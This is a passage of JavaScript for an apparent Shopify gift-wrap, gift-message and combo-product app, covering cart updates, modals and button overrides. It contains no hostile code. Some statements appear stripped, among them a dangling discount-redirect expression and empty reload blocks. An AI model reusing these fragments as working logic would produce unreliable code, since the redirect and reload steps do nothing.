                        let item = gkt.state.cartData.items[i]
                        if (item && item.variant_id && item.variant_id == searchedVariantId) {
                            return item
                        }
                    }
                    return false
                } else {
                    return false
                }
            },
            getNoteFromCart: function () {
                if (gkt.state.cartData && gkt.state.cartData.note && gkt.state.cartData.note != "") {
                    return gkt.state.cartData.note
                } else {
                    return false
                }
            },
            cloneAddToCartBtn: function () {
            },
            overWriteBuyNowBtn: function (){
                let buyNowBtnEle = gkt.$(document).find(gkt.selectors.buyNowBtn)   
                if(buyNowBtnEle && buyNowBtnEle.length > 0 && gkt.$(document).find(".gkt-overwrite-buy-now-btn").length  == 0){
                    buyNowBtnEle.show()
                    buyNowBtnEle.unbind().unbind("click").off().off("click");
                    newBuyNowBtnEle = buyNowBtnEle.clone()
                    buyNowBtnEle.after(newBuyNowBtnEle)
                    buyNowBtnEle.hide()
                    newBuyNowBtnEle.addClass("gkt-overwrite-buy-now-btn")
                   // clone add to cart behavior 
                    // newBuyNowBtnEle.on("click", async function (event) {    
                    //      gkt.$(this).attr("disabled", true);
                    //     setTimeout(() => { gkt.$(this).attr("disabled", false); }, 1000)
                    //     event.preventDefault();
                    //     event.stopPropagation();
                    //     let selectedVariantId = gkt.f.getSelectedVariant()
                    //     let resAddToCart = await gkt.utility.addToCartV2({   "items": [
                    //                                         {
                    //                                             "id": selectedVariantId,
                    //                                             "quantity": 1
                    //                                         }
                    //                                         ]})
                    //     //     return
                    // })
                    newBuyNowBtnEle.on("click", function (event) {
                        event.preventDefault();
                        event.stopPropagation();
                        gkt.$(this).attr("disabled", true);
                        newBuyNowBtnEle.text("loading checkout...");
                        setTimeout(() => { gkt.$(this).attr("disabled", false)}, 3000)
                        addToCartBtnEle =  gkt.$(document).find(gkt.selectors.addToCart)
                        sideCartEle = gkt.$(document).find(gkt.selectors.sideCartSelectors) 
                        // gkt.$(document).find("body").addClass("loadingCheckoutPage")
                        // gkt.$(document).find("body").text("loading checkout...")
                        if(sideCartEle && sideCartEle.length > 0){
                            sideCartEle.css("display", "none")
                        }
                        if(addToCartBtnEle && addToCartBtnEle.length > 0){
                            addToCartBtnEle.trigger("click")
                        }
                        setTimeout(()=>{
                            },1000)
                    })
                }
            },
            slider: {
                state: {
                    slideIndex: 0,
                },
                plusSlides: function (selector, n) {
                    this.showSlides(selector, this.state.slideIndex += n);
                },
                //minusSlides
                minusSlides: function (selector, n) {
                    this.showSlides(selector, this.state.slideIndex -= n);
                },
                showSlides: function (selector, n) {
                    var i;
                    var slides = selector.find(".gktComboItemContainerItem1Img");
                    if (slides && slides.length) {
                        //     slides = JSON.parse(slides);
                        // }
                        if (n > slides.length) { this.state.slideIndex = 1 }
                        if (n < 1) { this.state.slideIndex = slides.length }
                        for (i = 0; i < slides.length; i++) {
                            slides[i].style.display = "none";
                        }
                        slides[this.state.slideIndex - 1].style.display = "block";
                        //   plusSlides(1)
                    }
                    // setTimeout(function () { plusSlides(n + 1) }, 2000);
                },
            },
        },
        storage: {
            loadValuesFromStorage: function (settings) {
                var gktGiftMessageCheckbox = sessionStorage.getItem("gktGiftMessageCheckbox");
                var gktMessageTextarea = sessionStorage.getItem("gktMessageTextarea");
                var gktGiftWrapCheckbox = sessionStorage.getItem("gktGiftWrapCheckbox");
                var gktGiftOptionsCheckbox = sessionStorage.getItem("gktGiftOptionsCheckbox");
                gkt.$('.gktMessageTextarea').val(gktMessageTextarea);
                if (gktGiftMessageCheckbox === null) {
                    gkt.$('.gktGiftMessageCheckbox').prop('checked', true);
                } else {
                    gkt.$('.gktGiftMessageCheckbox').prop('checked', gktGiftMessageCheckbox === "true");
                }
                if (gktGiftWrapCheckbox === null) {
                    gkt.$('.gktGiftWrapCheckbox').prop('checked', true);
                } else {
                    gkt.$('.gktGiftWrapCheckbox').prop('checked', gktGiftWrapCheckbox === "true");
                }
                if (gktGiftOptionsCheckbox === null) {
                    gkt.elements.cartPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', false)
                    gkt.elements.productPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', false)
                    gkt.$(document).find(".gktGiftOptionsCheckbox").prop('checked', false)
                } else {
                    gkt.elements.cartPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', gktGiftOptionsCheckbox === "true")
                    gkt.elements.productPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', gktGiftOptionsCheckbox === "true")
                    gkt.$(document).find(".gktGiftOptionsCheckbox").prop('checked', gktGiftOptionsCheckbox === "true")
                }
            },
            setItem: function (field, value) {
                sessionStorage.setItem(field, value)
            },
            getItem: function (field) {
                return sessionStorage.getItem(field)
            }
        },
        drawerCart: {
            init: function (settings) {
                gkt.cartPage.init(settings)
            }
        },
        themeSpecificCode: {
            init: function (settings) {
                gkt.themeSpecificCode.f.ventureTheme(settings)
                gkt.themeSpecificCode.f.expressTheme(settings)
                gkt.themeSpecificCode.f.craveTheme(settings)
                gkt.themeSpecificCode.f.craftTheme(settings)
                gkt.themeSpecificCode.f.senseTheme(settings)
            },
            f: {
                ventureTheme: function () {
                    if (window.Shopify && window.Shopify.theme && window.Shopify.theme.theme_store_id && window.Shopify.theme.theme_store_id == gkt.constants.themesIds.VENTURE_THEME) {
                        // reload on save
                        gkt.selectors.sideCartDrawerOverlay = ""
                    }
                },
                expressTheme: function () {
                    if (window.Shopify && window.Shopify.theme && window.Shopify.theme.theme_store_id && window.Shopify.theme.theme_store_id == gkt.constants.themesIds.EXPRESS_THEME) {
                        // addd a css property of jusyify-items:cetner to cartpagewrapper
                        gkt.elements.cartPageWrapperV2.css("justify-items", "center")
                        if (window.location.pathname.includes("/cart")) {
                            gkt.selectors.checkoutBtn = ".cart__actions"
                        }
                    }
                },
                craveTheme: function () {
                    if (window.Shopify && window.Shopify.theme && window.Shopify.theme.theme_store_id && window.Shopify.theme.theme_store_id == gkt.constants.themesIds.CRAVE_THEME) {
                        // change css of cart__ctas in the document to block
                        gkt.$(document).find(".cart__ctas").css("display", "block")
                    }
                },
                craftTheme: function () {
                    if (window.Shopify && window.Shopify.theme && window.Shopify.theme.theme_store_id && window.Shopify.theme.theme_store_id == gkt.constants.themesIds.CRAFT_THEME) {
                        // change css of cart__ctas in the document to block
                        gkt.$(document).find(".cart__ctas").css("display", "block")
                    }
                },
                senseTheme: function () {
                    if (window.Shopify && window.Shopify.theme && window.Shopify.theme.theme_store_id && window.Shopify.theme.theme_store_id == gkt.constants.themesIds.SENSE_THEME) {
                        // change css of cart__ctas in the document to block
                        gkt.$(document).find(".cart__ctas").css("display", "block")
                    }
                },
            }
        },
        productPage: {
            init: async function (settings) {
                console.log("productPage-init")
                gkt.state.cartData = await gkt.utility.getCart()
                // gkt.state.insertWrapperOnPage.push("PRODUCT_PAGE")
                gkt.gktMessage.init(settings, "PRODUCT_PAGE")
                gkt.gktCombo.init(settings)
                gkt.gktGiftMsgAndWrap.init(settings, "PRODUCT_PAGE")
                gkt.gktOneClickUpsell.init(settings, "PRODUCT_PAGE")
                gkt.gktGiftCard.init(settings, "PRODUCT_PAGE")
                // gkt.utility.cloneAddToCartBtn()
            },
            f: {
                insertWrapperIntoPage: function (settings) {
                    if ("undefined" != typeof gkt.elements.addToCartBtn) {
                        let addToCartBtnEle = gkt.$(document).find(gkt.elements.addToCartBtn)
                        addToCartBtnEle.each(function (index) {
                            if (gkt.$(this).is(":visible")) {
                                if(gkt.settings.app.addAfterAddTocartBtn){
                                    gkt.$(this).after(gkt.elements.productPageWrapperV2);
                                }else{
                                    gkt.$(this).before(gkt.elements.productPageWrapperV2);
                                }
                            }
                        });
                    }
                },
            },
            actions: {
                insertUpsellModal: function () {
                    //   Gs.$("body").append(Gs.settings._modalHtml);
                    alert("popModal for upsell action")
                },
            },
        },
        cartPage: {
            init: async function (settings) {
                gkt.state.cartData = await gkt.utility.getCart()
                gkt.gktMessage.init(settings, "CART_PAGE")
                gkt.gktGiftMsgAndWrap.init(settings, "CART_PAGE")
                gkt.gktOneClickUpsell.init(settings, "CART_PAGE")
            },
            f: {
                insertWrapperIntoPage: function (settings) {
                    return new Promise((res, rej) => {
                        if ("undefined" != typeof gkt.elements.checkoutBtn) {
                            let checkoutBtnEle = gkt.$(document).find(gkt.selectors.checkoutBtn)
                            checkoutBtnEle.each(function (index) {
                                // console.log("index", index)
                                if (gkt.$(this).is(":visible")) {
                                    // check if theme ids matches otherwise add element to default position
                                    if (window.Shopify && window.Shopify.theme && window.Shopify.theme.theme_store_id && window.Shopify.theme.theme_store_id == gkt.constants.themesIds.DAWN_THEME) {
                                        gkt.$(this).parent().before(gkt.elements.cartPageWrapperV2);
                                    } else if(gkt.settings.app.addAftercheckoutBtn) {
                                        gkt.$(this).after(gkt.elements.cartPageWrapperV2);
                                    }else{
                                        gkt.$(this).before(gkt.elements.cartPageWrapperV2);
                                    }
                                }
                            });
                        }
                        res()
                    })
                },
            },
            events: {
                ajaxSuccess: function (cartSettings) {
                    console.log("register ajax success event")
                    gkt.$(document).ajaxSuccess(function (event, xhr, settings) {
                        console.log("ajaxSuccess", settings.url)
                        if (settings.url == "/change.js?line=1&quantity=0" || settings.url == "change.js?line=1&quantity=0" || settings.url == "change.js" || settings.url == "/change.js" || settings.url == "/cart.js" || settings.url == "cart.js" || settings.url == "cart" || settings.url == "/cart") {
                            setTimeout(function () {
                                console.log("ajaxSuccess")
                            }, 2000);
                        }
                    });
                }
            }
        },
        gktModal: {
            init: function (settings) {
                gkt.gktModal.initialize(settings)
                gkt.gktModal.events()
            },
            initialize: function (settings) {
                // case conditions  - isGiftWrap,isGiftField
                // media queries -responsive to ui 
                gkt.gktModal.actions.setModalBgColor();
                gkt.gktModal.actions.addModalPopupHeader();
                gkt.gktModal.actions.modalSaveBtn();
                const { isGiftWrapEnabled, isGiftMessageEnabled } = settings.giftingOptions;
                console.log({ isGiftWrapEnabled, isGiftMessageEnabled })
                if (isGiftMessageEnabled == true && isGiftWrapEnabled == true) {
                    gkt.gktModal.actions.modalGiftWrapContent();
                    gkt.gktModal.actions.modalGiftMessageContent();
                    //add a class called as gridLayout
                    gkt.$(".gktContentWrapper").addClass("gktGridLayout");
                }
                else if (isGiftMessageEnabled == false && isGiftWrapEnabled == true) {
                    gkt.gktModal.actions.modalGiftWrapContent();
                    gkt.gktModal.actions.hideModalGiftMessageContent();
                    //display image on mobile only if wrap is enabled
                    gkt.$(".gktGiftWrapImage").addClass("gktDisplayWrapImageOnPhone");
                }
                else if (isGiftMessageEnabled == true && isGiftWrapEnabled == false) {
                    gkt.gktModal.actions.modalGiftMessageContent();
                    gkt.gktModal.actions.hideModalGiftWrapContent();
                }
            },
            events: function () {
                console.log("gktModal-events")
                gkt.$(document).on("click", ".gktModalClose", gkt.gktModal.actions.onModalClose)
                gkt.$(document).on("click", ".gktModalSave", gkt.gktModal.actions.onModalSave)
            },
            actions: {
                onModalClose: function (event) {
                    // check if behavior is set to reload just reload the page
                    if (gkt.settings.popup.reloadOnCancelClick) {
                        }
                    //enable overlay
                    gkt.$(document).find(gkt.selectors.sideCartDrawerOverlay).css("display", "block");
                    // check the current state of giftingpopup and assign the same to it. 
                    gkt.gktGiftMsgAndWrap.action.syncWrapperCheckBoxState()
                    // hide the modal
                    gkt.$(".gktModalWrapper").hide();
                },
                onModalSave: async function (event) {
                    let isApiCallRequired = false
                    let updateCartData = { attributes: {} }
                    let addToCartData = {}
                    // check if gifwrapEnabled 
                    if (gkt.settings.giftingOptions.isGiftWrapEnabled) {
                        // check if giftwrap is checked or not
                        if (gkt.$(".gktGiftWrapCheckbox").prop('checked') == true) {
                            let productVairantId = gkt.settings.giftWrapProduct.productVairantID
                            // addToCartData  = {quantity: 1,id: gkt.settings.giftWrapProduct.productVairantID}
                            updateCartData.updates = { [productVairantId]: 1 }
                            updateCartData.attributes.giftWrap = "YES"
                            gkt.storage.setItem("gktGiftWrapCheckbox", true)
                        } else {
                            let productVairantId = gkt.settings.giftWrapProduct.productVairantID
                            // addToCartData  = {quantity: 0,id: gkt.settings.giftWrapProduct.productVairantID}
                            updateCartData.attributes.giftWrap = ""
                            updateCartData.updates = { [productVairantId]: 0 }
                            gkt.storage.setItem("gktGiftWrapCheckbox", false)
                        }
                    }
                    // check if giftMessageEnabled
                    if (gkt.settings.giftingOptions.isGiftMessageEnabled) {
                        if (gkt.$(".gktGiftMessageCheckbox").prop('checked') == true && gkt.$(".gktMessageTextarea").val() == "") {
                            gkt.$(".gktMessageTextarea").css("border", "3px solid red");
                            gkt.$(".gktMessageTextarea").attr("placeholder", "Please enter a gift message here");
                            gkt.$(".gktMessageTextarea").focus();
                            return true;
                        }
                        // check if giftMessage is checked or not
                        if (gkt.$(".gktGiftMessageCheckbox").prop('checked') == true) {
                            console.log("gktGiftMessageCheckbox checked-if")
                            var giftMessageValue = gkt.$(".gktMessageTextarea").val();
                            updateCartData.attributes.giftMessage = giftMessageValue
                            updateCartData.note = giftMessageValue
                            gkt.storage.setItem("gktMessageTextarea", giftMessageValue)
                            gkt.storage.setItem("gktGiftMessageCheckbox", true)
                            // 
                        }
                        else {
                            console.log("gktGiftMessageCheckbox checked-else")
                            updateCartData.attributes.giftMessage = ""
                            updateCartData.note = ""
                            gkt.storage.setItem("gktMessageTextarea", "")
                            gkt.storage.setItem("gktGiftMessageCheckbox", false)
                        }
                    }
                    // sync gift options checkbox state
                    gkt.gktGiftMsgAndWrap.action.syncWrapperCheckBoxState()
                    // api call
                    gkt.utility.updateCart(updateCartData).then((data) => {
                        if (gkt.settings.app.refreshProductPageOnGiftWrap ||data && gkt.state.page_type == "cart") {
                            // gkt.utility.updateCart(updateCartData)
                            }
                    })
                    //enable overlay
                    gkt.$(document).find(gkt.selectors.sideCartDrawerOverlay).css("display", "block");
                    // hide the modal
                    gkt.$(".gktModalWrapper").hide();
                },
                modalGiftMessageContent: function () {
                    gkt.$(".gktMessageCheckboxHeading").html(gkt.settings.popup.messageCheckboxHeading);
                    gkt.$(".gktMessageTextarea").attr("placeholder", gkt.settings.popup.messageBoxplaceholder);
                },
                modalGiftWrapContent: async function () {
                    gkt.$(".gktGiftWrapCheckboxHeading").html(gkt.settings.popup.giftWrapCheckboxHeading);
                    let giftWrapProduct = await gkt.utility.getProductData(gkt.settings.giftWrapProduct.giftWrapHandle);
                    let wrapImage = gkt.settings.giftWrapProduct.giftWrapProductImage;
                    if (giftWrapProduct) {
                        wrapImage = giftWrapProduct.product.image.src;
                    }
                    gkt.$(".gktGiftWrapImage").attr("src", wrapImage);
                },
                modalSaveBtn: function () {
                    gkt.$(".gktModalSave").html(gkt.settings.popup.saveButtonText);
                    gkt.$(".gktModalSave").css("background-color", gkt.settings.popup.saveButtonBackgroundColor);
                    gkt.$(".gktModalSave").css("color", gkt.settings.popup.saveButtonTextColor);
                },
                hideModalGiftWrapContent: function () {
                    gkt.$(".gktRightContent").hide();
                },
                hideModalGiftMessageContent: function () {
                    gkt.$(".gktLeftContent").hide();
                },
                addModalPopupHeader: function () {
                    gkt.$(".gktModalPopupHeading").html(gkt.settings.popup.popupHeadingText);
                },
                setModalBgColor: function () {
                    gkt.$(".gktModal").css("background-color", gkt.settings.popup.cartPopupBackgroundColor);
                },
            }
        },
        gktGiftMsgAndWrap: {
            init: function (settings, parent) {
                gkt.gktGiftMsgAndWrap.initialize(settings, parent)
                gkt.gktGiftMsgAndWrap.events(settings)
                gkt.gktModal.init(settings)
            },
            initialize: function (settings, parent) {
                let productHandle = gkt.f.getProductPageHandle(settings)
                let {isEnabledOnProductPage, isEnabledOnCartPage} = gkt.gktGiftMsgAndWrap.f.checkifGiftWrapEnabled(settings.giftWrapProduct, productHandle, parent)
                if (parent == "PRODUCT_PAGE" && isEnabledOnProductPage) {
                    gkt.gktGiftMsgAndWrap.f.insertIntoProductPageWrapper(settings)
                    gkt.utility.overWriteBuyNowBtn()
                    gkt.state.isOverWriteBuyNowBtnTriggered = true
                }
                if (parent == "CART_PAGE" && isEnabledOnCartPage) {
                    gkt.gktGiftMsgAndWrap.f.insertIntoCartPageWrapper(settings)
                }
            },
            f: {
                insertIntoProductPageWrapper: function (settings) {
                    gkt.elements.productPageWrapperV2.find(".gktGiftMsgAndWrapWrapper").css("display", "block")
                    // insert into parent element 
                    gkt.elements.gktGiftMsgAndWrapWrapperParent.find(".gktGiftMsgAndWrapWrapperInnerEleHeading").append(settings.giftingOptions.shopifyPageinnerHTML);    //cartPageText                 
                    // insert final  element into productPageWrapperV2
                    gkt.elements.productPageWrapperV2.find(".gktGiftMsgAndWrapWrapper").append(gkt.elements.gktGiftMsgAndWrapWrapperParent);
                },
                insertIntoCartPageWrapper: function (settings) {
                    gkt.elements.cartPageWrapperV2.find(".gktCartGiftMsgAndWrapWrapper").css("display", "block")
                    // insert into parent element 
                    gkt.elements.gktCartGiftMsgAndWrapWrapperParent.find(".gktGiftMsgAndWrapWrapperInnerEleHeading").append(settings.giftingOptions.shopifyPageinnerHTML);    //cartPageText                 
                    // insert final  element into productPageWrapperV2
                    gkt.elements.cartPageWrapperV2.find(".gktCartGiftMsgAndWrapWrapper").append(gkt.elements.gktCartGiftMsgAndWrapWrapperParent);
                },
                isAddgktGiftMsgAndWrapOnProductPage: function (settings) {
                    let flag = false
                    switch (settings.giftingOptions.enabledGifiting) {
                        case "PRODUCT_PAGES_AND_CART_PAGE":
                        case "PRODUCT_PAGES":
                            flag = true
                            break;
                    }
                    return flag
                },
                isAddgktGiftMsgAndWrapOnCartPage: function (settings) {
                    let flag = false
                    switch (settings.giftingOptions.enabledGifiting) {
                        case "PRODUCT_PAGES_AND_CART_PAGE":
                        case "CART_PAGE":
                            flag = true
                            break;
                    }
                    return flag
                },
                checkifGiftWrapEnabled: function (giftWrapProduct, currProductHandle, parent) {
                    let isEnabledOnProductPage = false
                    let isEnabledOnCartPage = false
                    if(!giftWrapProduct.isGiftWrapEnabled){
                        return {isEnabledOnProductPage, isEnabledOnCartPage}
                    }
                    if (giftWrapProduct.isVisibleOnCart) {
                        isEnabledOnCartPage = true
                    }
                    if (giftWrapProduct.isVisibleOnAllProductPages) {
                        isEnabledOnProductPage = true
                    } else if (giftWrapProduct.isVisibleOnSpecificProductPages &&
                            giftWrapProduct.visibleOnSpecificProductPages &&
                            giftWrapProduct.visibleOnSpecificProductPages.find(x => x.handle === currProductHandle)) {
                        isEnabledOnProductPage = true
                    }
                    return {isEnabledOnProductPage, isEnabledOnCartPage}
                }
            },
            events: function (settings) {
                gkt.$(document).on("click", ".gktGiftOptionsCheckbox", function (event) {
                    console.log("gktGiftOptionsCheckbox - click")
                    const { isGiftWrapEnabled, isGiftMessageEnabled } = settings.giftingOptions;
                    if (isGiftMessageEnabled == false && isGiftWrapEnabled == true) {
                        if (gkt.$(this).prop('checked') == true) {
                            gkt.$(".gktGiftWrapCheckbox").prop('checked', true);
                            gkt.$(".gktGiftMessageCheckbox").prop('checked', false);
                            gkt.$(".gktGiftOptionsCheckbox").prop('checked', true);
                        }
                        else if (gkt.$(this).prop('checked') == false) {
                            gkt.$(".gktGiftWrapCheckbox").prop('checked', false);
                            gkt.$(".gktGiftMessageCheckbox").prop('checked', false);
                            gkt.$(".gktGiftOptionsCheckbox").prop('checked', false);
                        }
                        gkt.gktModal.actions.onModalSave();
                        return;
                    }
                    else {
                        gkt.$(document).find(gkt.selectors.sideCartDrawerOverlay).css("display", "none");
                        // load variable values
                        gkt.storage.loadValuesFromStorage(settings);
                        // optn popup
                        gkt.$(".gktModalWrapper").show();
                    }
                })
            },
            action: {
                syncWrapperCheckBoxState: function () {
                    let gktGiftOptionsCheckbox = gkt.storage.getItem("gktGiftOptionsCheckbox");
                    let gktGiftMessageCheckbox = sessionStorage.getItem("gktGiftMessageCheckbox");
                    let gktGiftWrapCheckbox = sessionStorage.getItem("gktGiftWrapCheckbox");
                    let gktGiftOptionsCheckboxValue = false
                    // check if all null, keep it chekc
                    if (gktGiftMessageCheckbox === null && gktGiftWrapCheckbox === null) {
                        gktGiftOptionsCheckboxValue = false
                    } else if ((gktGiftMessageCheckbox === "true" ? true : false) || (gktGiftWrapCheckbox === "true" ? true : false)) {
                        gktGiftOptionsCheckboxValue = true
                    } else {
                        gktGiftOptionsCheckboxValue = false
                    }
                    gkt.elements.cartPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', gktGiftOptionsCheckboxValue)
                    gkt.elements.productPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', gktGiftOptionsCheckboxValue)
                    gkt.$(document).find(".gktGiftOptionsCheckbox").prop('checked', gktGiftOptionsCheckboxValue)
                },
                setWrapperCheckBoxState: function (value) {
                    gkt.elements.cartPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', value)
                    gkt.elements.productPageWrapperV2.find(".gktGiftOptionsCheckbox").prop('checked', value)
                    gkt.$(document).find(".gktGiftOptionsCheckbox").prop('checked', value)
                }
            }
        },
        gktCombo: {
            init: function (settings) {
                gkt.gktCombo.initialize(settings)
            },
            currLoadingState: {
                isComboSoldOut: false,
                comboProductVariantIds: [],
                gktComboItemContainer: null,
                gktComboContainer: null,
            },
            state: {
                comboHandle: "",
                // update combo state here.
                isComboAddToCartButtonOverwrite: false,
                selectedComboProductsData: [],
                redirect: {},
                isComboBuyNowButtonOverwrite: false
            },
            initialize: async function (settings) {
                let productHandle = gkt.f.getProductPageHandle()
                let comboProduct = gkt.gktCombo.f.checkIfComboProduct(settings, productHandle)
                console.log("comboProduct:", comboProduct)
                // if this is combo product1
                if (comboProduct) {
                    gkt.gktCombo.state.comboHandle = comboProduct.handle
                    gkt.gktCombo.f.setInitialStateFromStorage(comboProduct.handle)
                    // redirect user to discount combo product page if discount is applied on combo
                    if (gkt.gktCombo.state.redirect && gkt.gktCombo.state.redirect.handle != comboProduct.handle) {
                        console.log("inside if redirect")
                        gkt.gktCombo.state.redirect.handle = comboProduct.handle
                        gkt.gktCombo.f.setComboStateToStorage()
                        if (comboProduct && comboProduct.discount && comboProduct.discount.title) {
                            // console.log("redirect")
                            + comboProduct.discount.title + "?redirect=" + window.location.pathname
                        }
                    } else {
                        gkt.gktCombo.state.redirect = {}
                        gkt.gktCombo.f.setComboStateToStorage()
                    }
                    // get prodducts data of combo
                    let productsData = await gkt.gktCombo.f.getAllproductsInCombo(comboProduct)
                    gkt.gktCombo.f.setInitialCurrentState(comboProduct, productsData)
                    gkt.gktCombo.f.comboAddToCartButtonOverwrite()
                    gkt.gktCombo.f.comboBuyNowButtonOverwrite()
                    gkt.gktCombo.f.changeComboAddToCartButtonText("BUY NOW")
                    let comboUiHtml = gkt.gktCombo.f.prepareComboUi(settings, productsData)
                    gkt.gktCombo.f.insertIntoProductPageWrapper(settings, comboUiHtml)
                    if (gkt.gktCombo.currLoadingState.isComboSoldOut) {
                        gkt.gktCombo.f.changeComboAddToCartButtonText("SOLD OUT")
                        gkt.gktCombo.f.disabledComboAddToCartButton()
                    }
                }
            },
            f: {
                insertIntoProductPageWrapper: function (settings, comboUiHtml) {
                    gkt.elements.productPageWrapperV2.find(".gktComboWrapper").css("display", "block")
                    gkt.elements.productPageWrapperV2.find(".gktComboWrapper").append(comboUiHtml);
                    // gkt.elements.productPageWrapperV2.find(".gktComboWrapper").append(gkt.elements.addToCartBtn);
                },
                checkIfComboProduct: function (settings, currProductHandle) {
                    let combos = settings.combos
                    for (let i = 0; i < combos.length; i++) {
                        if (combos[i].handle == currProductHandle) {
                            return combos[i]
                        }
                    }
                    return undefined
                },
                getAllproductsInCombo: async function (comboProduct) {
                    let products = comboProduct.products
                    let apiCalls = []
                    for (let i = 0; i < products.length; i++) {
                        apiCalls.push(gkt.utility.getProductDataV2(products[i].handle))
                    }
                    let comboProductsData = await Promise.all(apiCalls)
                    console.log("Promise resolved")
                    return comboProductsData
                },
                comboAddToCartButtonOverwrite: async function () {
                    // set required states 
                    gkt.gktCombo.state.isComboAddToCartButtonOverwrite = true
                    gkt.elements.addToCartBtn.unbind().unbind("click").off().off("click");
                    gkt.elements.addToCartBtn.on("click", function (event) {
                        gkt.$(this).attr("disabled", true);
                        setTimeout(() => { gkt.$(this).attr("disabled", false); }, 1000)
                        gkt.gktCombo.action.comboAddToCartButton(event)
                    })
                },
                comboBuyNowButtonOverwrite: async function () {
                    if (gkt.$(document).find(gkt.selectors.buyNowBtn)) {
                        gkt.$(document).find(gkt.selectors.buyNowBtn).hide()
                    }
                },
                changeComboAddToCartButtonText: async function (insideHtml) {
                    if (gkt.gktCombo.state.isComboAddToCartButtonOverwrite) {
                        gkt.elements.addToCartBtn.html(insideHtml)
                    } else {
                        return false
                    }
                },
                disabledComboAddToCartButton: async function () {
                    if (gkt.gktCombo.state.isComboAddToCartButtonOverwrite) {
                        gkt.elements.addToCartBtn.prop("disabled", true);
                    } else {
                        return false
                    }
                },
                setComboStateToStorage: function () {
                    let comboState = gkt.gktCombo.f.getComboStateFromStorage()
                    comboState = { ...comboState, [gkt.gktCombo.state.comboHandle]: gkt.gktCombo.state }
                    gkt.storage.setItem('gktComboState', JSON.stringify(comboState))
                },
                getComboStateFromStorage: function () {
                    let state = gkt.storage.getItem('gktComboState')
                    if (state) {
                        state = JSON.parse(state)
                        return state
                    } else {
                        return {}
                    }
                },
                setInitialStateFromStorage: function (comboHandle) {
                    let comboState = gkt.gktCombo.f.getComboStateFromStorage()
                    let currCombostate = comboState[comboHandle]
                    if (currCombostate) {
                        gkt.gktCombo.state = currCombostate
                    }
                },
                prepareComboUi: function (settings, productsData) {
                    console.log("productsData", productsData)
                    gktComboContainer = gkt.$("<div>").addClass('gktComboContainer')
                    gkt.gktCombo.currLoadingState.gktComboContainer = gktComboContainer
                    for (let i = 0; i < productsData.length; i++) {
                        let productData = productsData[i]
                        if (!productData) {
                            continue
                        }
                        let gktComboItemContainer = gkt.$("<div>").addClass('gktComboItemContainer')
                        gkt.gktCombo.currLoadingState.gktComboItemContainer = gktComboItemContainer
                        let gktComboItemContainerItem1 = gkt.$("<div>").addClass('gktComboItemContainerItem1')
                        let gktComboItemContainerItem2 = gkt.$("<div>").addClass('gktComboItemContainerItem2')
                        let gktComboItemContainerItem3 = gkt.$("<div>").addClass('gktComboItemContainerItem3')
                        let gktComboItemContainerItem3CustomSelect = gktComboItemContainerItem3.append(gkt.$("<div>").addClass('gktComboItemContainerItem3CustomSelect'))
                        gktComboItemContainerItem3.find('.gktComboItemContainerItem3CustomSelect').append(gkt.$("<select>").addClass('gktComboItemContainerItem3Select'))
                        let gktComboItemContainerItem4 = gkt.$("<div>").addClass('gktComboItemContainerItem4')
                        gktComboItemContainer.append([gktComboItemContainerItem1, gktComboItemContainerItem2, gktComboItemContainerItem3, gktComboItemContainerItem4])
                        gktComboItemContainerItem3.find('.gktComboItemContainerItem3CustomSelect').append(gkt.$("<span>").addClass('gktComboItemContainerItem3SelectDropdownBtn'))
                        if (productData) {
                            for (let i = 0; i < productData.images.length; i++) {
                                let image = productData.images[i];
                                if (!image) {
                                    continue
                                }
                                if (image) {
                                    gktComboItemContainerItem1.append(gkt.$("<img>").addClass('gktComboItemContainerItem1Img' + i).addClass("gktComboItemContainerItem1Img"))
                                    gktComboItemContainerItem1.find('.gktComboItemContainerItem1Img' + i).attr('src', image).css('display', 'none').css('max-height', '100px')
                                }
                                if (i == 0) {
                                    gktComboItemContainerItem1.find('.gktComboItemContainerItem1Img' + i).css('display', 'block')
                                }
                            }
                            //push an anchor tag 
                            gktComboSliderNavigatior = gkt.$("<div>").addClass('gktComboSliderNavigatior')
                            gktComboSliderNavigatior.append(gkt.$("<a>").addClass('gktPrevImage'))
                            gktComboSliderNavigatior.find('.gktPrevImage').html("&#10094;");
                            //add an onclick event to the anchor tag
                            gktComboSliderNavigatior.append(gkt.$("<a>").addClass('gktNextImage'))
                            gktComboSliderNavigatior.find('.gktNextImage').html("&#10095;");
                            gktComboSliderNavigatior.find('.gktPrevImage').click(function () {
                                gkt.utility.slider.plusSlides(gktComboItemContainerItem1, 1)
                            })
                            gktComboSliderNavigatior.find('.gktNextImage').click(function () {
                                gkt.utility.slider.minusSlides(gktComboItemContainerItem1, 1)
                            })
                            gktComboItemContainerItem1.append(gktComboSliderNavigatior);
                            // add title 
                            gktComboItemContainerItem2.html(productData.title)
                            let addedVariantsCnt = 0
                            // add select options
                            for (let j = 0; j < productData.variants.length; j++) {
                                let variant = productData.variants[j]
                                // if variant is not available dont add it
                                if (!variant.available) {
                                    continue
                                }
                                // if variant is not selected in admin ui, dont add it
                                if (gkt.gktCombo.currLoadingState.comboProductVariantIds.indexOf(variant.id) == -1) {
                                    continue
                                }
                                addedVariantsCnt += 1
                                let variantName = variant.options.join(" / ")
                                let optionEle = gkt.$("<option>").attr("value", variant.id).addClass('gktComboItemContainerItem3SelectOption').html(variantName)
                                gktComboItemContainerItem3.find('.gktComboItemContainerItem3Select').append(optionEle)
                            }
                            if (addedVariantsCnt == 0) {
                                gkt.gktCombo.currLoadingState.isComboSoldOut = true
                            }
                            //hide dropdown if there is default variant of product
                            if (productData.variants.length == 1 && productData.variants[0].title && productData.variants[0].title == "Default Title") {
                                gktComboItemContainerItem3CustomSelect.hide()
                            }
                        } else {
                            gktComboItemContainerItem2.html("combo product not found")
                        }
                        gktComboContainer.append(gktComboItemContainer)
                    }
                    return gktComboContainer
                },
                setSelectedVariantsState: function () {
                    // set initialState for selected elements 
                    gkt.$('.gktComboContainer').find('.gktComboItemContainerItem3Select').each(function (index) {
                        console.log(index + ": " + gkt.$(this).val());
                        gkt.gktCombo.state.selectedComboProductsData[index] = { id: gkt.$(this).val() }
                    });
                    gkt.gktCombo.f.setComboStateToStorage()
                },
                openComboModal: function () {
                    gkt.$('.gktComboModalWrapper').css('display', 'block')
                },
                setInitialCurrentState: function (comboProduct, productsData) {
                    for (let i = 0; i < productsData.length; i++) {
